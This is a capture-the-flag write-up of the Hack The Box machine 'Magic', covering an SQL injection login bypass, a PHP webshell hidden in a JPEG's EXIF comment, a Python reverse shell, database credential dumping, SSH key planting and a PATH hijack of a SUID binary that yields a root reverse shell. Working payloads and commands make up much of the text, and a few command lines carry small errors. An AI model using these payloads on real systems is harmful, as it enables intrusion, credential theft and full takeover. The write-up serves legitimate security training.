Magic from Hack The Box features a PHP-based web application which is vulnerable to SQL injection for login bypass. The file upload feature fails to validate an image uploaded to it. This allows me to upload a webshell embedded image and gain a foothold. Enumerating the systems discovers database credentials which leads to database dump and obtain user credentials. For the root part, there’s a SUID binary that’s vulnerable to the path hijack attack since it calls some binaries without their absolute path.
Skills Learned
- SQL injection
- Bypassing file upload filter
- SUID exploitation
Tools
- Kali Linux (Attacking Machine) - https://www.kali.org/
- Nmap - Preinstalled in Kali Linux
- Exiftool - https://exiftool.org/
Reconnaissance
Nmap
→ root@iamf «magic» «10.10.14.169»
$ nmap -sC -sV -oA scans/magic 10.10.10.185
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
nmap
found two ports open, an HTTP service on port 80 and SSH service on port 22
Enumeration
TCP 80 - Website
The home page shows a bunch of images.
By clicking “Views image”, I know some images located on /images/uploads
and some others on /images/fulls
. At the bottom page, there’s a login button that points to /login.php
Common credentials don’t seem to work here.
Foothold
Shell as www-data
SQL injection - Login bypass on /login.php
The login form doesn’t allows spacing between character, but it can be tricked by copy and paste.
A basic sql injection technique ' or 1 = 1 -- -
to bypass login is work against the login page.
In MySQL, a space after a comment is a must
-- [space]
, because of that I added-- -
to make it clear.
We can assume the back-end query would look like this:
...<some php>...
$username = $_POST['user']
$pwd = $_POST['password']
...<some php>...
SELECT username, password from table.user where username='$username' and password='$pwd'
If I assign ' or 1 = 1 -- -
as value of $username
, it becomes:
SELECT username, password from table.user where username='' or 1 = 1 -- -' and password='$pwd'
Upload filter bypass
Upon a successful login, the site redirects me to /upload.php
. It shows up with an upload form. It only accepts a valid image file.
After some testing, I can bypass this upload filter by embedding my php shell on an image file (I took it from the web itself). This can be done by using exiftool
.
→ root@iamf «forest» «10.10.14.169»
$ ./exiftool -Comment='<?php echo "<pre>"; system($_GET["cmd"]); ?>' iamf.jpg
Next, I added .php
extension right before the image extension (in my case it is .jpg
, so it becomes filename.php.jpg
).
Back to /upload.php
, now it accepts my malicious image.
I can find the uploaded file at http://htb.magic/images/uploads/
.
When I visit http://htb.magic/images/uploads/iamf.php.jpg?cmd=pwd
, I can see the code execution is working
Shell access
The machine has Python3 installed. With that, I can send a Python one liner reverse shell and set up a listener on port 443 to gain a foothold on the system.
I’ll enter this URL on the browser.
http://htb.magic/images/uploads/iamf.php.jpg?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.169%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27"
When I check my listener:
→ root@iamf «magic» «10.10.14.169»
$ nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.169] from (UNKNOWN) [10.10.10.185] 19448
bash: cannot set terminal process group (1327): Inappropriate ioctl for device
bash: no job control in this shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
Shell as theseus
Enumeration
There is a database configuration, db.php5
, that stores database credentials.
$ find . -type f -user www-data
...<SNIP>...
./var/www/Magic/db.php5
...<SNIP>...
Database dump
I can use netstat
to confirm that the MySQL server is currently running.
www-data@ubuntu:/var/www/Magic$ netstat -tlpn
...<SNIP>...
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
...<SNIP>...
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
...<SNIP>...
Unfortunately, the mysql
binary is not present in this box.
But, I could use mysqldump
to dump the database, and it contains another credentials: admin:Th3s3usW4sK1ng
.
www-data@ubuntu:/var/www/Magic$ mysqldump Magic -u theseus -p'iamkingtheseus'
...<SNIP>...
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
...<SNIP>...
Shell upgrade to SSH
It turns out that the password Th3s3usW4sK1ng
is reused by user theseus.
www-data@ubuntu:/var/www/Magic$ su theseus
Password:
theseus@ubuntu:/var/www/Magic$
Before enumeration, I would like to switch to SSH. First, I’ll generate a new SSH key.
→ root@iamf «magic» «10.10.14.169»
$ ssh-keygen -f theseus
Then, I’ll add the newly generated public key to theseus’s authorized_keys
.
theseus@ubuntu:~/.ssh$ echo 'ssh-rsa AAABBBCCCDDD' >> authorized_keys
Now I can log in via SSH.
→ root@iamf «magic» «10.10.14.169»
$ ssh -i theseus@10.10.10.185
...<SNIP>...
theseus@ubuntu:~$ id
uid=1000(theseus) gid=1000(theseus) groups=100(users),1000(theseus)
Shell as root
Enumeration
Upon enumerating for SUID, there’s a binary that doesn’t seem to be a common SUID on Ubuntu called sysinfo
.
theseus@ubuntu:~$ find / -perm -u=s -type f 2>/dev/null
The sysinfo
binary is owned by root, but it can be executed by the users
group and theseus
is a member of that group.
theseus@ubuntu:~$ ls -las /bin | grep sysinfo
24 -rwsr-x--- 1 root users 22040 Oct 21 2019 sysinfo
When I execute the binary and it returns some hardware information on the screen that looks similar to what lshw
, free
and other binary related to hardware info produces.
A quick search on Google shows:
So it is the same header.
Running strings
against sysinfo
reveals it calls lshw
, free
, fdisk
and some other bins without their absolute path. (I don’t have the screenshots to show what it looks like, also can’t find the logs on my notes, sorry)
- Absolute path:
/bin/sysinfo
–> fixed path, can not be modified except global write access is permitted. (cmiiw) - Relative path:
sysinfo
–> resolved by user’s environment, the path follows user’s$PWD
.
Path Hijack on SUID
Knowing the SUID binary uses relative path to call other binaries, I can abuse this by creating, for example, a fake lshw
binary that contains a reverse shell.
First thing to do is, I will create a fake lshw
in /tmp/iamf
folder and append one liner bash reverse shell.
theseus@ubuntu:/tmp$ mkdir iamf
theseus@ubuntu:/tmp$ which lshw
/bin/lshw
Next, I’ll export /tmp/iamf
to the environment variable $PATH
.
theseus@ubuntu:/tmp$ echo -e '#!/bin/sh bash -i >& /dev/tcp/10.10.10.169/1234 0>&1' > iamf/lshw
theseus@ubuntu:/tmp$ export PATH=/tmp/iamf:$PATH
Now If I call lshw
, the OS will resolve it to the one on /tmp/iamf
.
theseus@ubuntu:/tmp$ which lshw
/tmp/iamf/lshw
After that, I can just execute the sysinfo
binary. However, it then just hangs.
theseus@ubuntu:/tmp$ sysinfo
====================Hardware Info====================
That is because its execution is interrupted by the reverse shell and now I’m rooted.
→ root@iamf «magic» «10.10.14.169»
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.169] from (UNKNOWN) [10.10.10.185] 36094
root@ubuntu:/tmp/iamf# id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)